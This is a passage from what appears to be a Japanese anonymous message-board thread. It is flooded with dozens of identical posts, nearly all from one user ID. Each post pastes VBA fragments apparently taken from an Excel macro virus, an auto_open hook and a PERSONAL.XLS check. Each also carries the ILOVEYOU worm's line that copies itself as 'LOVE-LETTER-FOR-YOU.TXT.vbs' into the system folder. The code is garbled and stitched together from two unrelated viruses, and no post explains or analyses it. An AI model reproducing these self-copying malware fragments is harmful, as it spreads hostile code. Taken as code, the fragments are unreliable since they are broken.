Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

243 番組の途中ですが名無しです :2012/01/31(火) 16:42:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

244 番組の途中ですが名無しです :2012/01/31(火) 16:43:05 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

245 番組の途中ですが名無しです :2012/01/31(火) 16:43:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

246 番組の途中ですが名無しです :2012/01/31(火) 16:44:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

247 番組の途中ですが名無しです :2012/01/31(火) 16:44:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

248 番組の途中ですが名無しです :2012/01/31(火) 16:45:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

249 番組の途中ですが名無しです :2012/01/31(火) 16:45:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

250 番組の途中ですが名無しです :2012/01/31(火) 16:46:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

251 番組の途中ですが名無しです :2012/01/31(火) 16:46:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

252 番組の途中ですが名無しです :2012/01/31(火) 16:47:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

253 番組の途中ですが名無しです :2012/01/31(火) 16:47:45 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

254 番組の途中ですが名無しです :2012/01/31(火) 16:48:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

255 番組の途中ですが名無しです :2012/01/31(火) 16:48:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

256 番組の途中ですが名無しです :2012/01/31(火) 16:49:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

257 番組の途中ですが名無しです :2012/01/31(火) 16:49:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

258 番組の途中ですが名無しです :2012/01/31(火) 16:50:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

259 番組の途中ですが名無しです :2012/01/31(火) 16:50:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

260 番組の途中ですが名無しです :2012/01/31(火) 16:51:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

261 番組の途中ですが名無しです :2012/01/31(火) 16:51:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

262 番組の途中ですが名無しです :2012/01/31(火) 16:52:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

263 番組の途中ですが名無しです :2012/01/31(火) 16:52:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

264 番組の途中ですが名無しです :2012/01/31(火) 16:53:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

265 番組の途中ですが名無しです :2012/01/31(火) 16:54:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

266 番組の途中ですが名無しです :2012/01/31(火) 16:54:34 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

267 番組の途中ですが名無しです :2012/01/31(火) 16:55:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

268 番組の途中ですが名無しです :2012/01/31(火) 16:55:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

269 番組の途中ですが名無しです :2012/01/31(火) 16:56:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

270 番組の途中ですが名無しです :2012/01/31(火) 16:56:38 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

271 番組の途中ですが名無しです :2012/01/31(火) 16:57:09 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

272 番組の途中ですが名無しです :2012/01/31(火) 16:57:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

273 番組の途中ですが名無しです :2012/01/31(火) 16:58:12 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

274 番組の途中ですが名無しです :2012/01/31(火) 16:58:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

275 番組の途中ですが名無しです :2012/01/31(火) 16:59:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

276 番組の途中ですが名無しです :2012/01/31(火) 16:59:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

277 番組の途中ですが名無しです :2012/01/31(火) 17:00:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

278 番組の途中ですが名無しです :2012/01/31(火) 17:00:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

279 番組の途中ですが名無しです :2012/01/31(火) 17:01:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

280 番組の途中ですが名無しです :2012/01/31(火) 17:01:53 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

281 番組の途中ですが名無しです :2012/01/31(火) 17:02:24 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

282 番組の途中ですが名無しです :2012/01/31(火) 17:02:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

283 番組の途中ですが名無しです :2012/01/31(火) 17:03:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

284 番組の途中ですが名無しです :2012/01/31(火) 17:03:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

285 番組の途中ですが名無しです :2012/01/31(火) 17:04:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

286 番組の途中ですが名無しです :2012/01/31(火) 17:04:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

287 番組の途中ですが名無しです :2012/01/31(火) 17:05:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

288 番組の途中ですが名無しです :2012/01/31(火) 17:06:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

289 番組の途中ですが名無しです :2012/01/31(火) 17:06:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

290 番組の途中ですが名無しです :2012/01/31(火) 17:07:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

291 番組の途中ですが名無しです :2012/01/31(火) 17:07:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

292 番組の途中ですが名無しです :2012/01/31(火) 17:08:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

293 番組の途中ですが名無しです :2012/01/31(火) 17:08:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

294 番組の途中ですが名無しです :2012/01/31(火) 17:09:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

295 番組の途中ですが名無しです :2012/01/31(火) 17:09:39 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

296 番組の途中ですが名無しです :2012/01/31(火) 17:10:10 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

297 番組の途中ですが名無しです :2012/01/31(火) 17:10:41 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

298 番組の途中ですが名無しです :2012/01/31(火) 17:11:12 ID:0CNwox7E
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

299 番組の途中ですが名無しです :2012/01/31(火) 17:11:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

300 番組の途中ですが名無しです :2012/01/31(火) 17:12:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

301 番組の途中ですが名無しです :2012/01/31(火) 17:12:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

302 番組の途中ですが名無しです :2012/01/31(火) 17:13:17 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

